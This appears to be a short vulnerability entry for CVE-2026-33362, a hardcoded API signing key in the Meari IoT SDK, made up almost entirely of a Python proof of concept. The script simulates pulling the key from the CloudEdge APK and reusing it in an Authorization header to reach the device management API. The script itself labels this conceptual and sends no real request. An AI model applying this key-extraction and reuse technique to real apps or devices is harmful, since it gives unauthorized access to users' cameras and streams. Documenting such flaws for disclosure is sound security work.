CVE-2026-33362 Meari IoT SDK硬编码密钥漏洞

# Proof of Concept: Extracting and using hardcoded secrets import re # Simulate extracting key from APK strings or smali # This is a conceptual demonstration of how an attacker would identify the key. def find_secret_key(apk_file_path): print(f"[*] Analyzing {apk_file_path}...") # In a real scenario, one would use 'strings' or 'jadx' to decompile # Here we simulate finding a hardcoded key pattern # Example pattern found in Meari SDK apps mock_apk_content = "... api_sign_key=SECRET_MEARI_KEY_12345 ..." match = re.search(r'api_sign_key=(.*?)\s', mock_apk_content) if match: return match.group(1) return None def exploit_api_with_key(secret_key): print(f"[+] Found Hardcoded Key: {secret_key}") print(f"[*] Attempting to access API using shared key...") # Attacker constructs a valid request using the stolen key headers = { "Authorization": f"Bearer {secret_key}", "User-Agent": "Meari-SDK-Attacker" } # In a real attack, this would send a request to the IoT device management API print(f"[!] Successfully authenticated to API. Can now list devices or decrypt streams.") if __name__ == "__main__": target_app = "CloudEdge-v5.5.0.apk" key = find_secret_key(target_app) if key: exploit_api_with_key(key)